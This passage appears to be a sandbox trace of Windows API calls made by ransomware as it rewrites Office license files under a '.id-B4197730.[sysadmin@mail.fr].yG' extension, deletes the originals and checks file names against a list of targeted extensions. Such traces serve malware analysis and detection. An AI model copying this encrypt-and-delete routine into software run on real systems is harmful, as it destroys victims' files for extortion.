	[0173.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.662] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.662] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.663] GetLastError () returned 0x0
	[0173.663] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0173.669] WriteFile (in: hFile=0x454, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.671] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.671] WriteFile (in: hFile=0x454, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.671] SetEndOfFile (hFile=0x454) returned 1
	[0173.671] CloseHandle (hObject=0x454) returned 1
	[0173.671] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.672] SetEndOfFile (hFile=0x350) returned 1
	[0173.676] CloseHandle (hObject=0x350) returned 1
	[0173.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1
	[0173.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.678] lstrlenW (lpString=".doc") returned 4
	[0173.678] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.678] lstrlenW (lpString=".docx") returned 5
	[0173.678] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.678] lstrlenW (lpString=".pdf") returned 4
	[0173.678] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.678] lstrlenW (lpString=".xls") returned 4
	[0173.678] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.678] lstrlenW (lpString=".xlsx") returned 5
	[0173.679] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.679] lstrlenW (lpString=".ppt") returned 4
	[0173.679] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.679] lstrlenW (lpString=".zip") returned 4
	[0173.679] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString=".rar") returned 4
	[0173.679] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString=".bz2") returned 4
	[0173.679] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString=".7z") returned 3
	[0173.679] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.679] lstrlenW (lpString=".dbf") returned 4
	[0173.679] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.679] lstrlenW (lpString=".1cd") returned 4
	[0173.679] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0173.679] lstrlenW (lpString=".jpg") returned 4
	[0173.680] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.681] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11630) returned 1
	[0173.681] CloseHandle (hObject=0x350) returned 1
	[0173.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220
	[0173.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.682] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.682] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.683] GetLastError () returned 0x0
	[0173.683] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0173.698] WriteFile (in: hFile=0x454, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0173.699] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.699] WriteFile (in: hFile=0x454, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0173.700] SetEndOfFile (hFile=0x454) returned 1
	[0173.700] CloseHandle (hObject=0x454) returned 1
	[0173.700] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.700] SetEndOfFile (hFile=0x350) returned 1
	[0173.704] CloseHandle (hObject=0x350) returned 1
	[0173.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1
	[0174.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.105] lstrlenW (lpString=".doc") returned 4
	[0174.105] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".docx") returned 5
	[0174.105] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.105] lstrlenW (lpString=".pdf") returned 4
	[0174.105] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".xls") returned 4
	[0174.105] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".xlsx") returned 5
	[0174.105] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.105] lstrlenW (lpString=".ppt") returned 4
	[0174.105] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.105] lstrlenW (lpString=".zip") returned 4
	[0174.105] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".rar") returned 4
	[0174.105] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".bz2") returned 4
	[0174.105] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.105] lstrlenW (lpString=".7z") returned 3
	[0174.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.106] lstrlenW (lpString=".dbf") returned 4
	[0174.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.106] lstrlenW (lpString=".1cd") returned 4
	[0174.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0174.106] lstrlenW (lpString=".jpg") returned 4
	[0174.106] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.106] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11635) returned 1
	[0174.106] CloseHandle (hObject=0x53c) returned 1
	[0174.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0174.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.108] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.108] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.109] GetLastError () returned 0x0
	[0174.109] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0174.111] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0174.112] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.112] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0174.112] SetEndOfFile (hFile=0x48c) returned 1
	[0174.113] CloseHandle (hObject=0x48c) returned 1
	[0174.113] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.113] SetEndOfFile (hFile=0x53c) returned 1
	[0174.116] CloseHandle (hObject=0x53c) returned 1
	[0174.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0174.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.117] lstrlenW (lpString=".doc") returned 4
	[0174.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.117] lstrlenW (lpString=".docx") returned 5
	[0174.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.118] lstrlenW (lpString=".pdf") returned 4
	[0174.118] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString=".xls") returned 4
	[0174.118] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString=".xlsx") returned 5
	[0174.118] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.118] lstrlenW (lpString=".ppt") returned 4
	[0174.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.118] lstrlenW (lpString=".zip") returned 4
	[0174.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString=".rar") returned 4
	[0174.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString=".bz2") returned 4
	[0174.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString=".7z") returned 3
	[0174.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.118] lstrlenW (lpString=".dbf") returned 4
	[0174.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.118] lstrlenW (lpString=".1cd") returned 4
	[0174.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0174.118] lstrlenW (lpString=".jpg") returned 4
	[0174.118] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.119] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11183) returned 1
	[0174.119] CloseHandle (hObject=0x53c) returned 1
	[0174.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220
	[0174.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.120] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.120] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.121] GetLastError () returned 0x0
	[0174.121] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0174.123] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0174.124] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.124] WriteFile (in: hFile=0x48c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.125] SetEndOfFile (hFile=0x48c) returned 1
	[0174.125] CloseHandle (hObject=0x48c) returned 1
	[0174.125] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.125] SetEndOfFile (hFile=0x53c) returned 1
	[0174.128] CloseHandle (hObject=0x53c) returned 1
	[0174.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1
	[0174.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.130] lstrlenW (lpString=".doc") returned 4
	[0174.130] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.130] lstrlenW (lpString=".docx") returned 5
	[0174.130] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.130] lstrlenW (lpString=".pdf") returned 4
	[0174.130] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.130] lstrlenW (lpString=".xls") returned 4
	[0174.130] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.130] lstrlenW (lpString=".xlsx") returned 5
	[0174.130] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.131] lstrlenW (lpString=".ppt") returned 4
	[0174.131] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.131] lstrlenW (lpString=".zip") returned 4
	[0174.131] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString=".rar") returned 4
	[0174.131] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString=".bz2") returned 4
	[0174.131] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString=".7z") returned 3
	[0174.131] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.131] lstrlenW (lpString=".dbf") returned 4
	[0174.131] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.131] lstrlenW (lpString=".1cd") returned 4
	[0174.131] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0174.131] lstrlenW (lpString=".jpg") returned 4
	[0174.131] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.132] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=23135) returned 1
	[0174.132] CloseHandle (hObject=0x53c) returned 1
	[0174.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0174.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.133] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.133] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
